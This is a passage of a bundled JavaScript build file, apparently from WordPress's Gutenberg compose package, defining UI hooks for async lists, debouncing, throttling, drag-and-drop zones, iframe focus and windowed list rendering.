2023 }
2024
2025 // packages/compose/build-module/hooks/use-async-list/index.mjs
2026 var import_element24 = __toESM(require_element(), 1);
2027 var import_priority_queue = __toESM(require_priority_queue(), 1);
2028 function getFirstItemsPresentInState(list, state) {
2029 const firstItems = [];
2030 for (let i = 0; i < list.length; i++) {
2031 const item = list[i];
2032 if (!state.includes(item)) {
2033 break;
2034 }
2035 firstItems.push(item);
2036 }
2037 return firstItems;
2038 }
2039 function useAsyncList(list, config = { step: 1 }) {
2040 const { step = 1 } = config;
2041 const [current, setCurrent] = (0, import_element24.useState)([]);
2042 (0, import_element24.useEffect)(() => {
2043 let firstItems = getFirstItemsPresentInState(list, current);
2044 if (firstItems.length < step) {
2045 firstItems = firstItems.concat(
2046 list.slice(firstItems.length, step)
2047 );
2048 }
2049 setCurrent(firstItems);
2050 const asyncQueue = (0, import_priority_queue.createQueue)();
2051 for (let i = firstItems.length; i < list.length; i += step) {
2052 asyncQueue.add({}, () => {
2053 (0, import_element24.flushSync)(() => {
2054 setCurrent((state) => [
2055 ...state,
2056 ...list.slice(i, i + step)
2057 ]);
2058 });
2059 });
2060 }
2061 return () => asyncQueue.reset();
2062 }, [list]);
2063 return current;
2064 }
2065 var use_async_list_default = useAsyncList;
2066
2067 // packages/compose/build-module/hooks/use-warn-on-change/index.mjs
2068 function useWarnOnChange(object, prefix = "Change detection") {
2069 const previousValues = usePrevious(object);
2070 Object.entries(previousValues ?? []).forEach(([key, value]) => {
2071 if (value !== object[
2072 /** @type {keyof typeof object} */
2073 key
2074 ]) {
2075 console.warn(
2076 `${prefix}: ${key} key changed:`,
2077 value,
2078 object[
2079 /** @type {keyof typeof object} */
2080 key
2081 ]
2082 /* eslint-enable jsdoc/check-types */
2083 );
2084 }
2085 });
2086 }
2087 var use_warn_on_change_default = useWarnOnChange;
2088
2089 // node_modules/use-memo-one/dist/use-memo-one.esm.js
2090 var import_react = __toESM(require_react());
2091 function areInputsEqual(newInputs, lastInputs) {
2092 if (newInputs.length !== lastInputs.length) {
2093 return false;
2094 }
2095 for (var i = 0; i < newInputs.length; i++) {
2096 if (newInputs[i] !== lastInputs[i]) {
2097 return false;
2098 }
2099 }
2100 return true;
2101 }
2102 function useMemoOne(getResult, inputs) {
2103 var initial = (0, import_react.useState)(function() {
2104 return {
2105 inputs,
2106 result: getResult()
2107 };
2108 })[0];
2109 var committed = (0, import_react.useRef)(initial);
2110 var isInputMatch = Boolean(inputs && committed.current.inputs && areInputsEqual(inputs, committed.current.inputs));
2111 var cache = isInputMatch ? committed.current : {
2112 inputs,
2113 result: getResult()
2114 };
2115 (0, import_react.useEffect)(function() {
2116 committed.current = cache;
2117 }, [cache]);
2118 return cache.result;
2119 }
2120
2121 // packages/compose/build-module/hooks/use-debounce/index.mjs
2122 var import_element25 = __toESM(require_element(), 1);
2123 function useDebounce(fn, wait, options) {
2124 const debounced = useMemoOne(
2125 () => debounce(fn, wait ?? 0, options),
2126 [fn, wait, options?.leading, options?.trailing, options?.maxWait]
2127 );
2128 (0, import_element25.useEffect)(() => () => debounced.cancel(), [debounced]);
2129 return debounced;
2130 }
2131
2132 // packages/compose/build-module/hooks/use-debounced-input/index.mjs
2133 var import_element26 = __toESM(require_element(), 1);
2134 function useDebouncedInput(defaultValue = "") {
2135 const [input, setInput] = (0, import_element26.useState)(defaultValue);
2136 const [debouncedInput, setDebouncedState] = (0, import_element26.useState)(defaultValue);
2137 const setDebouncedInput = useDebounce(setDebouncedState, 250);
2138 (0, import_element26.useEffect)(() => {
2139 setDebouncedInput(input);
2140 }, [input, setDebouncedInput]);
2141 return [input, setInput, debouncedInput];
2142 }
2143
2144 // packages/compose/build-module/hooks/use-throttle/index.mjs
2145 var import_element27 = __toESM(require_element(), 1);
2146 function useThrottle(fn, wait, options) {
2147 const throttled = useMemoOne(
2148 () => throttle(fn, wait ?? 0, options),
2149 [fn, wait, options]
2150 );
2151 (0, import_element27.useEffect)(() => () => throttled.cancel(), [throttled]);
2152 return throttled;
2153 }
2154
2155 // packages/compose/build-module/hooks/use-drop-zone/index.mjs
2156 function useDropZone({
2157 dropZoneElement,
2158 isDisabled,
2159 onDrop: _onDrop,
2160 onDragStart: _onDragStart,
2161 onDragEnter: _onDragEnter,
2162 onDragLeave: _onDragLeave,
2163 onDragEnd: _onDragEnd,
2164 onDragOver: _onDragOver
2165 }) {
2166 const onDropEvent = useEvent(_onDrop);
2167 const onDragStartEvent = useEvent(_onDragStart);
2168 const onDragEnterEvent = useEvent(_onDragEnter);
2169 const onDragLeaveEvent = useEvent(_onDragLeave);
2170 const onDragEndEvent = useEvent(_onDragEnd);
2171 const onDragOverEvent = useEvent(_onDragOver);
2172 return useRefEffect(
2173 (elem) => {
2174 if (isDisabled) {
2175 return;
2176 }
2177 const element = dropZoneElement ?? elem;
2178 let isDragging = false;
2179 const { ownerDocument } = element;
2180 function isElementInZone(targetToCheck) {
2181 const { defaultView } = ownerDocument;
2182 if (!targetToCheck || !defaultView || !(targetToCheck instanceof defaultView.HTMLElement) || !element.contains(targetToCheck)) {
2183 return false;
2184 }
2185 let elementToCheck = targetToCheck;
2186 do {
2187 if (elementToCheck.dataset.isDropZone) {
2188 return elementToCheck === element;
2189 }
2190 } while (elementToCheck = elementToCheck.parentElement);
2191 return false;
2192 }
2193 function maybeDragStart(event) {
2194 if (isDragging) {
2195 return;
2196 }
2197 isDragging = true;
2198 ownerDocument.addEventListener("dragend", maybeDragEnd);
2199 ownerDocument.addEventListener("mousemove", maybeDragEnd);
2200 if (_onDragStart) {
2201 onDragStartEvent(event);
2202 }
2203 }
2204 function onDragEnter(event) {
2205 event.preventDefault();
2206 if (element.contains(
2207 /** @type {Node} */
2208 event.relatedTarget
2209 )) {
2210 return;
2211 }
2212 if (_onDragEnter) {
2213 onDragEnterEvent(event);
2214 }
2215 }
2216 function onDragOver(event) {
2217 if (!event.defaultPrevented && _onDragOver) {
2218 onDragOverEvent(event);
2219 }
2220 event.preventDefault();
2221 }
2222 function onDragLeave(event) {
2223 if (isElementInZone(event.relatedTarget)) {
2224 return;
2225 }
2226 if (_onDragLeave) {
2227 onDragLeaveEvent(event);
2228 }
2229 }
2230 function onDrop(event) {
2231 if (event.defaultPrevented) {
2232 return;
2233 }
2234 event.preventDefault();
2235 event.dataTransfer && event.dataTransfer.files.length;
2236 if (_onDrop) {
2237 onDropEvent(event);
2238 }
2239 maybeDragEnd(event);
2240 }
2241 function maybeDragEnd(event) {
2242 if (!isDragging) {
2243 return;
2244 }
2245 isDragging = false;
2246 ownerDocument.removeEventListener("dragend", maybeDragEnd);
2247 ownerDocument.removeEventListener("mousemove", maybeDragEnd);
2248 if (_onDragEnd) {
2249 onDragEndEvent(event);
2250 }
2251 }
2252 element.setAttribute("data-is-drop-zone", "true");
2253 element.addEventListener("drop", onDrop);
2254 element.addEventListener("dragenter", onDragEnter);
2255 element.addEventListener("dragover", onDragOver);
2256 element.addEventListener("dragleave", onDragLeave);
2257 ownerDocument.addEventListener("dragenter", maybeDragStart);
2258 return () => {
2259 element.removeAttribute("data-is-drop-zone");
2260 element.removeEventListener("drop", onDrop);
2261 element.removeEventListener("dragenter", onDragEnter);
2262 element.removeEventListener("dragover", onDragOver);
2263 element.removeEventListener("dragleave", onDragLeave);
2264 ownerDocument.removeEventListener("dragend", maybeDragEnd);
2265 ownerDocument.removeEventListener("mousemove", maybeDragEnd);
2266 ownerDocument.removeEventListener(
2267 "dragenter",
2268 maybeDragStart
2269 );
2270 };
2271 },
2272 [isDisabled, dropZoneElement]
2273 // Refresh when the passed in dropZoneElement changes.
2274 );
2275 }
2276
2277 // packages/compose/build-module/hooks/use-focusable-iframe/index.mjs
2278 function useFocusableIframe() {
2279 return useRefEffect((element) => {
2280 const { ownerDocument } = element;
2281 if (!ownerDocument) {
2282 return;
2283 }
2284 const { defaultView } = ownerDocument;
2285 if (!defaultView) {
2286 return;
2287 }
2288 function checkFocus() {
2289 if (ownerDocument && ownerDocument.activeElement === element) {
2290 element.focus();
2291 }
2292 }
2293 defaultView.addEventListener("blur", checkFocus);
2294 return () => {
2295 defaultView.removeEventListener("blur", checkFocus);
2296 };
2297 }, []);
2298 }
2299
2300 // packages/compose/build-module/hooks/use-fixed-window-list/index.mjs
2301 var import_element28 = __toESM(require_element(), 1);
2302 var import_dom3 = __toESM(require_dom(), 1);
2303 var import_keycodes3 = __toESM(require_keycodes(), 1);
2304 var DEFAULT_INIT_WINDOW_SIZE = 30;
2305 function useFixedWindowList(elementRef, itemHeight, totalItems, options) {
2306 const initWindowSize = options?.initWindowSize ?? DEFAULT_INIT_WINDOW_SIZE;
2307 const useWindowing = options?.useWindowing ?? true;
2308 const [fixedListWindow, setFixedListWindow] = (0, import_element28.useState)({
2309 visibleItems: initWindowSize,
2310 start: 0,
2311 end: initWindowSize,
2312 itemInView: (index) => {
2313 return index >= 0 && index <= initWindowSize;
2314 }
2315 });
2316 (0, import_element28.useLayoutEffect)(() => {
2317 if (!useWindowing) {
2318 return;
2319 }
2320 const scrollContainer = (0, import_dom3.getScrollContainer)(elementRef.current);
2321 const measureWindow = (initRender) => {
2322 if (!scrollContainer) {
2323 return;
2324 }
2325 const visibleItems = Math.ceil(
2326 scrollContainer.clientHeight / itemHeight
2327 );
2328 const windowOverscan = initRender ? visibleItems : options?.windowOverscan ?? visibleItems;
2329 const firstViewableIndex = Math.floor(
2330 scrollContainer.scrollTop / itemHeight
2331 );
2332 const start = Math.max(0, firstViewableIndex - windowOverscan);
2333 const end = Math.min(
2334 totalItems - 1,
2335 firstViewableIndex + visibleItems + windowOverscan
2336 );
2337 setFixedListWindow((lastWindow) => {
2338 const nextWindow = {
2339 visibleItems,
2340 start,
2341 end,
2342 itemInView: (index) => {
2343 return start <= index && index <= end;
2344 }
2345 };
2346 if (lastWindow.start !== nextWindow.start || lastWindow.end !== nextWindow.end || lastWindow.visibleItems !== nextWindow.visibleItems) {
2347 return nextWindow;
2348 }
2349 return lastWindow;
2350 });
2351 };
2352 measureWindow(true);
2353 const debounceMeasureList = debounce(() => {
2354 measureWindow();
2355 }, 16);
2356 scrollContainer?.addEventListener("scroll", debounceMeasureList);
2357 scrollContainer?.ownerDocument?.defaultView?.addEventListener(
2358 "resize",
2359 debounceMeasureList
2360 );
2361 scrollContainer?.ownerDocument?.defaultView?.addEventListener(
2362 "resize",
2363 debounceMeasureList
2364 );
2365 return () => {
2366 scrollContainer?.removeEventListener(
2367 "scroll",
2368 debounceMeasureList
2369 );
2370 scrollContainer?.ownerDocument?.defaultView?.removeEventListener(
2371 "resize",
2372 debounceMeasureList
2373 );
2374 };
2375 }, [
2376 itemHeight,
2377 elementRef,
2378 totalItems,
2379 options?.expandedState,
2380 options?.windowOverscan,
2381 useWindowing
2382 ]);
2383 (0, import_element28.useLayoutEffect)(() => {
2384 if (!useWindowing) {
2385 return;
2386 }
2387 const scrollContainer = (0, import_dom3.getScrollContainer)(elementRef.current);
2388 const handleKeyDown = (event) => {
2389 switch (event.keyCode) {
2390 case import_keycodes3.HOME: {
2391 return scrollContainer?.scrollTo({ top: 0 });
2392 }
2393 case import_keycodes3.END: {
2394 return scrollContainer?.scrollTo({
2395 top: totalItems * itemHeight
2396 });
2397 }
2398 case import_keycodes3.PAGEUP: {
2399 return scrollContainer?.scrollTo({
2400 top: scrollContainer.scrollTop - fixedListWindow.visibleItems * itemHeight
2401 });
2402 }
2403 case import_keycodes3.PAGEDOWN: {
2404 return scrollContainer?.scrollTo({
2405 top: scrollContainer.scrollTop + fixedListWindow.visibleItems * itemHeight
2406 });
2407 }
2408 }
2409 };
2410 scrollContainer?.ownerDocument?.defaultView?.addEventListener(
2411 "keydown",
2412 handleKeyDown
2413 );
2414 return () => {
2415 scrollContainer?.ownerDocument?.defaultView?.removeEventListener(
2416 "keydown",
2417 handleKeyDown
2418 );
2419 };
2420 }, [
2421 totalItems,
2422 itemHeight,
2423 elementRef,
2424 fixedListWindow.visibleItems,
2425 useWindowing,
2426 options?.expandedState
2427 ]);
2428 return [fixedListWindow, setFixedListWindow];
2429 }
2430
2431 // packages/compose/build-module/hooks/use-observable-value/index.mjs
2432 var import_element29 = __toESM(require_element(), 1);
2433 function useObservableValue(map, name) {
2434 const [subscribe, getValue] = (0, import_element29.useMemo)(
2435 () => [
2436 (listener2) => map.subscribe(name, listener2),
2437 () => map.get(name)
2438 ],
2439 [map, name]
2440 );
2441 return (0, import_element29.useSyncExternalStore)(subscribe, getValue, getValue);
2442 }
2443 return __toCommonJS(index_exports);
2444})();
2445